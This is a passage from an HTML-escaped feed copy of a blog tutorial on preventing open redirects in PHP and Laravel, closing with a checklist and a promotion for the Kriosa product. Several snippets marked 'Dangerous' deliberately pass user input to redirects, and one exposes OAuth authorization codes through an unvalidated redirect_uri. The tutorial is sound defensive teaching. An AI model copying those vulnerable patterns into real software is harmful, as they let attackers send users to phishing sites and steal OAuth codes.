&lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;isTrustedRedirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'yoursite.com'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The host must exactly match your domain or be a confirmed subdomain. The scheme must be &lt;code&gt;http&lt;/code&gt; or &lt;code&gt;https&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A note on defense in depth:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even with validation in place it is worth adding a fallback default. If validation fails for any reason unexpected input format, edge case in &lt;code&gt;parse_url()&lt;/code&gt; the application falls back to a known safe destination rather than proceeding with an unvalidated URL.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$safe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;isSafeRedirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$safe&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Open Redirects in Laravel&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel's &lt;code&gt;redirect()&lt;/code&gt; helper is convenient. The vulnerability appears when user input reaches it without validation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ... authenticate user&lt;/span&gt;
    &lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fix 1 — Use redirect()-&amp;gt;intended() for post-login redirects.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel's intended redirect system stores the originally requested URL in the session before redirecting to login.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In your authentication middleware&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;guest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/login'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// After successful login&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;intended&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;redirect()-&amp;gt;intended()&lt;/code&gt; reads the stored URL from the session not from user input. The intended URL was stored server-side before the user ever saw the login page. This is the correct pattern for post-login redirects in Laravel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 2 — Whitelist in Laravel:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ... authenticate user&lt;/span&gt;

    &lt;span class="nv"&gt;$allowedRedirects&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'dashboard'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'profile'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/profile'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'settings'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/settings'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'orders'&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/orders'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'dashboard'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$allowedRedirects&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fix 3 — Relative URL validation in Laravel.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ... authenticate user&lt;/span&gt;

    &lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;str_starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
        &lt;span class="nf"&gt;str_starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'//'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
        &lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/^[a-zA-Z][a-zA-Z0-9+\-.]*:/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fix 4 — Signed URLs for trusted flows.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For email links, password reset flows, and OAuth callbacks use Laravel's signed URLs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Generate a signed URL that includes the redirect destination&lt;/span&gt;
&lt;span class="nv"&gt;$url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;signedRoute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'post.login.redirect'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'destination'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/orders/1042'&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Verify the signature before redirecting&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;postLoginRedirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;hasValidSignature&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nv"&gt;$destination&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'destination'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Validate even after signature check&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;str_starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$destination&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
        &lt;span class="nf"&gt;str_starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$destination&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'//'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$destination&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$destination&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Signed URLs cannot be tampered with the cryptographic signature covers the entire URL including the destination parameter. An attacker who changes the destination invalidates the signature.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Open Redirects in OAuth Flows&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;OAuth flows are where open redirects can reach critical severity.&lt;/p&gt;

&lt;p&gt;When your application implements OAuth login the authorization server redirects back to your application with an authorization code. If your application uses a user-supplied &lt;code&gt;redirect_uri&lt;/code&gt; that is not validated against a registered allowlist an attacker can potentially intercept that authorization code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nv"&gt;$callbackUri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect_uri'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$callbackUri&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'?code='&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$authCode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OAuth specifications require redirect URIs to be registered in advance and validated with exact string matching not prefix or suffix matching.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$registeredCallbacks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'https://yoursite.com/oauth/callback'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'https://yoursite.com/oauth/mobile/callback'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$callbackUri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect_uri'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$callbackUri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$registeredCallbacks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invalid redirect URI.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any deviation from a registered URI should fail the OAuth flow entirely. The security of the OAuth flow depends on this check being exact.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Open Redirect Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For plain PHP&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never pass &lt;code&gt;$_GET&lt;/code&gt; or &lt;code&gt;$_POST&lt;/code&gt; values directly to &lt;code&gt;header('Location: ...')&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Use a whitelist of allowed redirect destinations mapped by key wherever possible&lt;/li&gt;
&lt;li&gt;If you must accept user-supplied paths validate they are relative start with &lt;code&gt;/&lt;/code&gt;, no scheme, no &lt;code&gt;//&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;If you must allow absolute URLs validate scheme is &lt;code&gt;http&lt;/code&gt; or &lt;code&gt;https&lt;/code&gt; and host exactly matches your domain or a confirmed subdomain&lt;/li&gt;
&lt;li&gt;Always fall back to a known safe default if validation fails for any reason&lt;/li&gt;
&lt;li&gt;Never blacklist specific domains&lt;/li&gt;
&lt;li&gt;OAuth redirect URIs must use exact string matching against a registered allowlist&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For Laravel:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;redirect()-&amp;gt;intended()&lt;/code&gt; for post-login redirects never user-supplied parameters&lt;/li&gt;
&lt;li&gt;Never pass &lt;code&gt;$request-&amp;gt;input('redirect')&lt;/code&gt; directly to &lt;code&gt;redirect()&lt;/code&gt; without validation&lt;/li&gt;
&lt;li&gt;Use a whitelist mapped by key for any redirect that accepts user input&lt;/li&gt;
&lt;li&gt;Use signed URLs for email links, password reset flows, and OAuth callbacks&lt;/li&gt;
&lt;li&gt;Validate relative URLs before passing to &lt;code&gt;redirect()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Never pass user input to &lt;code&gt;redirect()-&amp;gt;away()&lt;/code&gt; without domain validation&lt;/li&gt;
&lt;li&gt;OAuth redirect URIs must use exact string matching against a registered allowlist&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Where Kriosa Fits&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Open redirect attacks begin with reconnaissance. Before exploiting an open redirect an attacker probes for it — sending requests with external URLs in redirect parameters, testing which parameters are reflected in Location headers, checking whether your application follows redirects to external domains.&lt;/p&gt;

&lt;p&gt;That probing behavior — systematic testing of redirect parameters across your application's endpoints — produces distinctive request patterns that differ from legitimate user navigation.&lt;/p&gt;

&lt;p&gt;Kriosa monitors incoming requests for behavioral signals that precede open redirect exploitation unusual values in redirect parameters, systematic testing of URL-accepting endpoints, and request patterns that differ from normal user navigation. These signals appear in the XAI dashboard with an explanation of what was detected and why it was flagged.&lt;/p&gt;

&lt;p&gt;Prevention through whitelists and validation stops your domain from being used as a redirect weapon. Detection through behavioral monitoring tells you when someone is checking whether it can be.&lt;/p&gt;

&lt;p&gt;In Prolify post-login redirects use &lt;code&gt;redirect()-&amp;gt;intended()&lt;/code&gt; the destination is stored in the session before login, never taken from URL parameters.&lt;br&gt;
 In bellefull all redirects use a whitelist. Neither application passes user input directly to a redirect function.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;kriosa.com&lt;/strong&gt;&lt;br&gt;
Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Series So Far&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://kriosa.com/post.php?slug=php-logs-sql-injection-attack-6a5fa71fd80b8" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=url-encoding-breaks-php-security-checks" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=decode-bomb-url-decoding-vulnerability" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem - why unlimited URL decoding can be its own vulnerability&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=parameterized-queries-sql-injection-prevention" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries - the only real fix for SQL injection&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!!&amp;nbsp;!!}&lt;/code&gt; is the line between safe and hacked&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend" rel="noopener noreferrer"&gt;Article 6&lt;/a&gt;: How attackers enumerate your Laravel app before exploiting it&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=file-upload-security-in-php-and-laravel-the-file-that-isn-t-what-it-claims-to-be" rel="noopener noreferrer"&gt;Article 7&lt;/a&gt;: File upload security in PHP and Laravel&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=path-traversal-php-directory-escape" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP - how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=command-injection-php-exec-attack-surface" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP - when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;br&gt;
&lt;a href="https://kriosa.com/post.php?slug=broken-access-control-laravel" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel - why being logged in is not enough&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=secrets-management-laravel-env" rel="noopener noreferrer"&gt;Article 11&lt;/a&gt;: Secrets in Laravel - why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=session-security-php-developers-get-wrong" rel="noopener noreferrer"&gt;Article 12&lt;/a&gt;: Session security in PHP - what most developers get wrong&lt;br&gt;
&lt;a href="https://kriosa.com/post.php?slug=rate-limiting-laravel-php-brute-force" rel="noopener noreferrer"&gt;Article 13&lt;/a&gt;: Rate limiting in Laravel and PHP - how to stop brute force before it starts&lt;br&gt;
&amp;nbsp;&lt;a href="https://kriosa.com/post.php?slug=security-headers-php-laravel-6a82e46e2e41a" rel="noopener noreferrer"&gt;Article 14&lt;/a&gt;: Security headers in PHP and Laravel - the lines that harden every response&lt;br&gt;
&lt;a href="https://kriosa.com/post.php?slug=idor-php-laravel-insecure-direct-object-reference" rel="noopener noreferrer"&gt;Article 15&lt;/a&gt;: IDOR in PHP and Laravel - when changing one number exposes someone else's data&lt;br&gt;
&amp;nbsp;Article 16: This article - mass assignment in PHP and Laravel and when user input becomes more than it should&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Article 17: This article — open redirect vulnerabilities in PHP and Laravel&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>webdev</category>
      <category>php</category>
      <category>laravel</category>
      <category>cybersecurity</category>
    </item>
    <item>
